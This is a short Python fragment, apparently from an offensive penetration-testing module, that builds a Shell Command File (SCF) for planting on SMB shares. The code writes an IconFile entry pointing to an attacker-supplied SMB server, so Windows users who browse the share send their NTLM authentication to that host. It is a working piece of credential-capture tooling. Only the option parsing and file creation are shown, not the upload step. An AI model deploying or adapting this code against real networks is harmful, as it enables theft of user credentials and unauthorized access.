docs: def options(self, context, module_options):
          '''
          SERVER      IP of the SMB server
          NAME        SCF file name
          CLEANUP     Cleanup (choices: True or False)
          '''
  
          self.cleanup = False
  
          if 'CLEANUP' in module_options:
              self.cleanup = bool(module_options['CLEANUP'])
  
          if 'NAME' not in module_options:
               context.log.error('NAME option is required!')
               exit(1)
    
          if not self.cleanup and 'SERVER' not in module_options:
              context.log.error('SERVER option is required!')
              exit(1)
   
          self.scf_name = module_options['NAME']
          self.scf_path = '/tmp/{}.scf'.format(self.scf_name)
          self.file_path = ntpath.join('\\', '{}.scf'.format(self.scf_name))
    
          if not self.cleanup:
              self.server = module_options['SERVER']
              scuf = open(self.scf_path, 'a');
              scuf.write("[Shell]" + '\n');
              scuf.write("Command=2" + '\n');
              scuf.write("IconFile=" + '\\\\{}\\share\\icon.ico'.format(self.server) + '\n');
              scuf.close();